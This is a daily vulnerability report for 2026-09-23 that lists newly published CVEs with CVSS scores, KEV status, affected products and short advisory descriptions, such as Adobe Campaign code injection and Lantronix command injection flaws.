

Daily Vulnerability Report - 2026-09-23

Window (UTC): 2026-09-22T06:20 to 2026-09-23T06:20 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-23 06:21:13 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
669	609	59	1	4	84	204	177	190	425

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93616	New	9.8	CRIT	Yes		check point:multiple products	A directory traversal and file upload vulnerability allows an unauthenticated attacker to upload and execute arbitrary scripts on Check Point Management Server.
CVE-2026-93952	New	9.5	CRIT	Yes	0.004	arista:velocloud orchestrator	VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. Hosted, including Dedicated, versions of VCO were impacted...
CVE-2026-94127	New	9.3	CRIT	Yes		f5:big-ip apm	When a BIG-IP APM access policy and an OAuth profile are configured on a virtual server, specific malicious traffic can lead to remote code execution (RCE). This vulnerability is only present when BIG-IP APM is configured as an OAuth Authorization Server. Deployments using APM strictly as an OAuth Client / Resource Server (without OAuth authorization server profiles configur...
CVE-2026-73369	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75699	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75703	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75721	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75723	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75745	New	10.0	CRIT				Adobe Experience Manager Forms JEE is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-77244	New	10.0	CRIT			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the HTTP transport accepts requests without a verified user identity and downstream fetcher construction falls back to the operator's globally configured Jira or Confluence credentials. A network client that can reach the MCP endpoint can invoke Atlassian too...
CVE-2026-7866	New	10.0	CRIT				Stack-based Buffer Overflow vulnerability in RTI Connex Professional (Core Libraries) allows Overflow Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 4.3x before 5.1.*.
CVE-2026-80155	New	10.0	CRIT				Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain an authentication bypass vulnerability in the web management portal upload endpoint that allows unauthenticated attackers to read sensitive configuration files and upload files to arbitrary filesystem locations, leading to remote c...
CVE-2026-84412	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-89275	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-96257	New	10.0	CRIT				A flaw has been found in Fast FAC1203R Gigabit Edition 2.0.4. Affected by this issue is the function copy_msg_element of the component Device Discovery Service. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not ...
CVE-2026-16346	New	9.9	CRIT				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-18169	New	9.9	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to improper validation of symbolic links.
CVE-2026-57149	New	9.9	CRIT				plone.app.portlets.portlets provides a Plone-specific user interface for plone.portlets, as well as a standard set of portlets that ship with Plone. Starting in version 5.0.0 and prior to versions 5.0.8, 6.0.4, and 7.0.2, the Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evalu...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75682	New	9.9	CRIT				Adobe Connect is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary SQL commands, potentially gaining elevated access or control over the victim's accou...
CVE-2026-80144	New	9.9	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom write command that passes unsanitized user input to a system() call. Attacke...
CVE-2026-80146	New	9.9	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom read command that copies unbounded user input into a bounded stack buffe...
CVE-2026-82008	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82010	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. S...
CVE-2026-82013	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-83660	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-89276	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2016-15059	New	9.8	CRIT		0.002		Net::IDN::Punycode versions before 2.301 for Perl allow a heap buffer overflow via unchecked writes past the output buffer in encode_punycode. The XS backend builds the encoded label in the string buffer of the scalar it returns, sized from the input length. The loop that emits the digits of each code point checks for room before every write, but the write of the last digit...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-12718	New	9.8	CRIT				Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Karel Electronic Industry and Trade Inc. KarellPS allows Blind SQL Injection. This issue affects KarellPS: through 22092026. NOTE: The vendor was contacted and it was learned that the product is not supported.
CVE-2026-18162	New	9.8	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor.
CVE-2026-18163	New	9.8	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper deserialization of untrusted data.
CVE-2026-25254	New	9.8	CRIT				Improper authorization leads to Remote Code Execution via SocketIO interface.
CVE-2026-28324	New	9.8	CRIT				SolarWinds Observability Self-Hosted was found to be affected by an unauthenticated remote code execution vulnerability due to the insufficient integrity checks. Installations configured in a non-default and non-secure configuration are affected.
CVE-2026-43641	New	9.8	CRIT				Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an OS command injection vulnerability in the billing module handler that allows unauthenticated remote attackers to execute arbitrary commands as root by bypassing authentication through specific parameter combinations. Attackers can deserialize a crafted billing_data POST field and inject shell payloads throu...
CVE-2026-47116	New	9.8	CRIT				LTSecurity LTK3500SF contains a hard-coded credentials vulnerability where root and guest account passwords are stored as reversible hashes in /etc/shadow, recoverable using dictionary-based cracking tools. Attackers can use the recovered credentials to authenticate via Telnet or SSH and obtain full root-level access to the operating system.
CVE-2026-65113	New	9.8	CRIT				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause use of hard-coded credentials. A successful exploit of this vulnerability might lead to escalation of privileges, data tampering, denial of service, and information disclosure.
CVE-2026-74849	New	9.8	CRIT				Zohocorp ManageEngine ADSelfService Plus versions before build 7001 are vulnerable to a remote code execution vulnerability in the GINA client.
CVE-2026-76708	New	9.8	CRIT				A vulnerability exists in the Analytics and Location Engine (ALE) where the application and underlying operating system use default, hard-coded credentials for several administrative and system accounts. An unauthenticated remote attacker could exploit this vulnerability by attempting to log in using these known default credentials. Successful exploitation could result in a...
CVE-2026-76709	New	9.8	CRIT				A vulnerability exists in the internal administrative component of Analytics and Location Engine (ALE). Successful exploitation of this vulnerability could allow an unauthenticated remote attacker to gain unauthorized write access to the file system with elevated privileges, potentially resulting in full system compromise.
CVE-2026-79313	New	9.8	CRIT				webpy web.py 0.76 is vulnerable to Insufficient Session Expiration. The application's session management relies on periodic cleanup to expire sessions instead of checking the last-access time when a session is loaded. As a result, an expired session whose record has not yet been cleaned up can still be replayed and used, allowing an attacker holding a previously valid sessio...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93088	New	9.8	CRIT				SGLang's multimodal generation runtime is vulnerable to unauthenticated arbitrary code execution because the disaggregated-diffusion orchestrator's DiffusionServer binds an unauthenticated ZeroMQ ROUTER socket to a network interface and passes the final frame of received multipart messages directly to pickle.loads() before any validation occurs.
CVE-2026-17472	New	9.6	CRIT				IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to access or modify unauthorized resources due to the use of wildcards in RBAC permission definitions.
CVE-2026-82000	New	9.6	CRIT				Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82443	New	9.6	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-84388	New	9.6	CRIT				A improper restriction of rendered ui layers or frames vulnerability in Fortinet FortiPAM Chrome Extension 8.0 all versions, FortiPAM Chrome Extension 7.4 all versions may allow attacker to information disclosure via remote unauthenticated attack
CVE-2026-86059	New	9.6	CRIT				Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, Dokploy organization members without Git provider access can retrieve plaintext provider credentials through github.one, gitlab.one, gitea.one, and bitbucket.one because those protected procedures return full provider rows without applying getAccessibleGitProviderIds or an organization check. Th...
CVE-2026-80143	New	9.4	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom read command that passes unsanitized user input to a system() call. Attacker...
CVE-2026-80147	New	9.4	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom write command that copies unbounded user input into a bounded stack buff...
CVE-2026-63374	New	9.3	CRIT				AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtai...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75684	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75686	New	9.3	CRIT				Adobe Connect is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Sco...
CVE-2026-75689	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75697	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75698	New	9.3	CRIT				Adobe Connect is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact ...
CVE-2026-77621	New	9.3	CRIT				Vector is a high-performance observability data pipeline. From 0.10.0 until 0.57.0, the file sink renders its templated path from event fields and opens the result without confining it to an intended directory. When an untrusted source supplies an event field used by the path template, the value can contain an absolute path or parent-directory traversal, causing Vector to cr...
CVE-2026-77987	New	9.3	CRIT				A server-side request forgery (SSRF) vulnerability was identified in the notebook viewer of GitHub Enterprise Server. The notebook viewer validated the scheme and host of a user-supplied URL but did not validate the port, allowing requests to be directed to internal services listening on other ports of the same appliance. Response bodies were not returned to the requester, b...
CVE-2026-87121	New	9.3	CRIT				lwIP TCP/IP Stack MQTT is vulnerable to an out-of-bounds write, which may allow an attacker to gain full code execution on the device.
CVE-2026-89422	New	9.3	CRIT		0.004		Key Exchange without Entity Authentication vulnerability in Erlang/OTP ssl allows a peer that answers a TLS 1.3 client connection to impersonate the intended server. A pre_shared_key extension in the ServerHello that the client never offered causes the client to complete the handshake without validating the server's certificate, so ssl:connect returns {ok, Socket} against a ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91130	New	9.3	CRIT			pip:homeassistant	Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.7.0, the Statistics Graph card in src/components/chart/statistics-chart.ts passed entity names through getStatisticLabel and computeStateName and interpolated param.seriesName into ECharts tooltip HTML without escaping. An authenticated user or an integration that suppl...
CVE-2026-93556	New	9.3	CRIT		0.003		The '/password/guardarClau/recover' endpoint accepts the 'usuariId' parameter, which specifies the account whose password is to be changed. The JWT token for the recovery process is not validated against the user specified in that parameter. An unauthenticated attacker could manipulate the identifier and reset the password for any account, including administrative accounts, ...
CVE-2026-95675	New	9.3	CRIT				D-Link DAP-1360 firmware version 6.14 and earlier contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted requests to the device's web management interface without valid credentials. Attackers can fully compromise the device to persistently modify its configuration and use it as a p...
CVE-2026-18461	New	9.2	CRIT				Use of Externally-Controlled Format String vulnerability in RTI Connext Professional (Core Libraries) allows Format String Injection. This issue affects Connext Professional: from 7.5.0 before 7.7.0.1, from 7.3.0.10 before 7.3.1.6.
CVE-2026-17635	New	9.1	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to perform unauthorized actions due to improper configuration of HTTP method-based security constraints.
CVE-2026-17645	New	9.1	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to gain elevated privileges due to improper privilege management.
CVE-2026-19202	New	9.1	CRIT				A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache fails to key its cached tokens by the requested audience. Consequently, a valid,...
CVE-2026-75728	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.
CVE-2026-77254	New	9.1	CRIT				MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, requests to the HTTP MCP endpoint without a per-user identity are allowed to reach tool handlers, which then use globally configured Jira or Confluence credentials. A network caller can perform operations with the operator account's permissions unless the dep...
CVE-2026-80145	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set cifs password command that passes unsanitized user input to a syst...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-80151	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set nfs download command that passes unsanitized user input to a syste...
CVE-2026-80152	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set script schedule command that passes unsanitized user input to a sy...
CVE-2026-80156	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location on the device's filesystem, leading to remote code execution. The upload filena...
CVE-2026-81995	New	9.1	CRIT				Adobe Experience Manager Forms JEE is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82009	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary SQL commands. Exploitation of this issue does not require user...
CVE-2026-82011	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not requir...
CVE-2026-85734	New	9.1	CRIT			pip:lightrag-hku	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential re...
CVE-2026-87078	New	9.1	CRIT		0.002		Net::IDN::Punycode versions from 2.302 before 2.590 for Perl leak the output buffer on every rejected label in decode_punycode. The XS backend allocates the scalar it returns before it validates the input, sizing the buffer at twice the input length. The scalar is released only on the success path, so each of the three croaks that reject a label leaves the scalar and its bu...
CVE-2026-87080	New	9.1	CRIT		0.001		Net::IDN::Punycode::PP versions before 2.590 for Perl decode a truncated label to a name containing a character it never encoded in decode_punycode. The pure-Perl decoder reads one digit at a time with four-argument substr and tests the result with defined to detect the end of the input. substr on an exhausted string returns the empty string rather than undef, so decoding c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94456	New	9.1	CRIT				Postiz generates security-sensitive credentials using `Math.random()` instead of a cryptographically secure source. The same helper is used for OAuth access tokens, authorization codes, client secrets, organization API keys, and PKCE verifiers, meaning these credentials depend entirely on V8's deterministic xorshift128+ PRNG state. An unauthenticated OAuth dynamic client re...
CVE-2026-95511	New				0.001		Rejected reason: Not a vulnerability. Creating a serial queue that overwrites cups-files.conf requires membership in SystemGroups (lpadmin), which is an opt-in cupsd admin role granted by a superuser. No privilege boundary is crossed.
CVE-2026-80154	New	8.9	HIGH				All firmware versions of Lantronix SLC8000, EMG8500, EMG7500, SLB882, SLCx-03, and SLCx-02 contain an authentication bypass vulnerability in the web management portal that allows unauthenticated attackers to derive valid session tokens of logged-in users and bypass source IP and User-Agent validation. Session tokens are generated deterministically from the device model and t...
CVE-2025-1281	New	8.8	HIGH		0.006		The BM Content Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ux_cb_remove_layout_ajax() and ux_cb_tools_export_ajax() functions in all versions up to, and excluding, 3.17.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server...
CVE-2026-13087	New	8.8	HIGH				A heap out-of-bounds write vulnerability was found in the Linux kernel's RPC-over-RDMA server reply path in net/sunrpc/xprtrdma/svc_rdma_sendto.c. When a crafted RPC-over-RDMA client sends a large NFS READ request with an empty Write list and no Reply chunk, the server linearizes the entire multi-page reply into a fixed-size 4096-byte heap buffer without bounds checking, res...
CVE-2026-16468	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to OS command injection.
CVE-2026-16469	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 px-runtime could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-16672	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.
CVE-2026-17102	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-17636	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to execute arbitrary code due to improper validation of a specified quantity.
CVE-2026-17637	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow an adjacent-network attacker to execute arbitrary code due to deserialization of untrusted data.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-17643	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information and perform unauthorized actions due to insufficiently protected credentials.
CVE-2026-17644	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to gain unauthorized access to sensitive information and modify transaction data due to the use of hard-coded credentials.
CVE-2026-17647	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to execute arbitrary commands due to the inclusion of functionality from an untrusted control sphere.
CVE-2026-25255	New	8.8	HIGH				Exposed dangerous function lead to privilege escalation via gRPC server.
CVE-2026-25264	New	8.8	HIGH				Privilege escalation due to weak configuration during package extraction process.
CVE-2026-25265	New	8.8	HIGH				Privilege escalation due to weak configuration while temporary file handling.
CVE-2026-28325	New	8.8	HIGH				SolarWinds Observability Self-Hosted was found to be affected by an unauthenticated remote code execution vulnerability stemming from deserialization of untrusted data when the application is configured to use a specific communication mode.
CVE-2026-65128	New	8.8	HIGH				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause SQL injection. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.
CVE-2026-65179	New	8.8	HIGH				NVIDIA NeMo contains a vulnerability in the TabularTokenizer class where it deserializes an untrusted, attacker-controlled .pkl file via pickle.load() without validation. A successful exploit of this vulnerability may lead to code execution, data tampering, denial of service, and information disclosure.
CVE-2026-67615	New	8.8	HIGH				openQUELLA before 2026.1.0 contains an authenticated remote code execution vulnerability that allows any authenticated non-guest user to execute arbitrary code by exploiting Java deserialization in the HTTP invoker endpoint at /invoker/*. Attackers can bypass the class-name denylist enforced by PluginAwareObjectInputStream by nesting a serialized payload inside a java.secur...
CVE-2026-70410	New	8.8	HIGH				Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Calcite Avatica. Plugin instantiation (via AvaticaUtils#instantiatePlugin and other methods) initializes arbitrary classes via unrestricted calls to Class.forName(String) which by default triggers initialization. This may lead to the execution of static initializer bloc...
CVE-2026-77243	New	8.8	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ENABLED_TOOLS and TOOLSETS are applied when tools are listed but are not rechecked when a tools/call request is dispatched. A client that knows a hidden tool name can directly invoke excluded read, write, or delete tools despite the operator's configured leas...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77274	New	8.8	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname wh...
CVE-2026-88419	New	8.8	HIGH				An unrestricted upload of files with a dangerous type in the thumbnail-upload endpoint (/index.php?m=member&f=article&v=thumbUpload) of WuzhiCMS 5.0.0 allows an authenticated low-privileged member to upload a crafted .php file and execute arbitrary PHP code on the server, because the stored file extension is taken verbatim from the client-supplied filename with no extension ...
CVE-2026-92438	New	8.8	HIGH		0.003		The Ninja Forms WordPress plugin 3.15.3 does not escape submitted form field values before outputting them on the submission edit screen in the admin area, which could allow unauthenticated users to submit values through a public form that then execute in the browser of any high-privileged user who reviews the submission.
CVE-2026-18459	New	8.7	HIGH				Incorrect Calculation vulnerability in RTI Connex Professional (Core Libraries) allows Abuse Existing Functionality. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 4.1x before 5.1.*.
CVE-2026-43643	New	8.7	HIGH				Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an authorization bypass vulnerability in the billing module handler that allows unauthenticated remote attackers to modify any tenant's account balance by supplying crafted act and from_billing_module parameters to the admin panel dispatcher. Attackers can send a POST request with arbitrary uid and balance val...
CVE-2026-77619	New	8.7	HIGH				Vector is a high-performance observability data pipeline. From 0.15.0 until 0.57.0, the logstash source reads a 32-bit compressed-frame length from the network and uses it to size an in-memory buffer without an upper bound. An unauthenticated remote peer that can reach the default 0.0.0.0:5044 listener can send a minimal frame declaring a multi-gigabyte payload, causing an e...
CVE-2026-77620	New	8.7	HIGH				Vector is a high-performance observability data pipeline. From 0.15.0 until 0.57.0, the logstash source feeds each decompressed frame back into its decoder without limiting nested compression depth. An unauthenticated remote peer that can reach the default 0.0.0.0:5044 listener can send many nested compressed frames, causing recursive decoding that exhausts the worker thread...
CVE-2026-81999	New	8.7	HIGH				Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-90882	New	8.7	HIGH				The open-vsx.org deployment returned Access-Control-Allow-Origin reflecting the requesting origin together with Access-Control-Allow-Credentials: true on the authenticated /user/ endpoints. A page on any origin could therefore issue credentialed requests to the service in a logged-in user's browser and read the responses. This exposed /user (login name, avatar, homepage, ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91018	New	8.7	HIGH				lwIP (Lightweight IP) has a double free vulnerability, which could crash the system, cause a DoS, memory corruption, or allow code execution on the victim system.
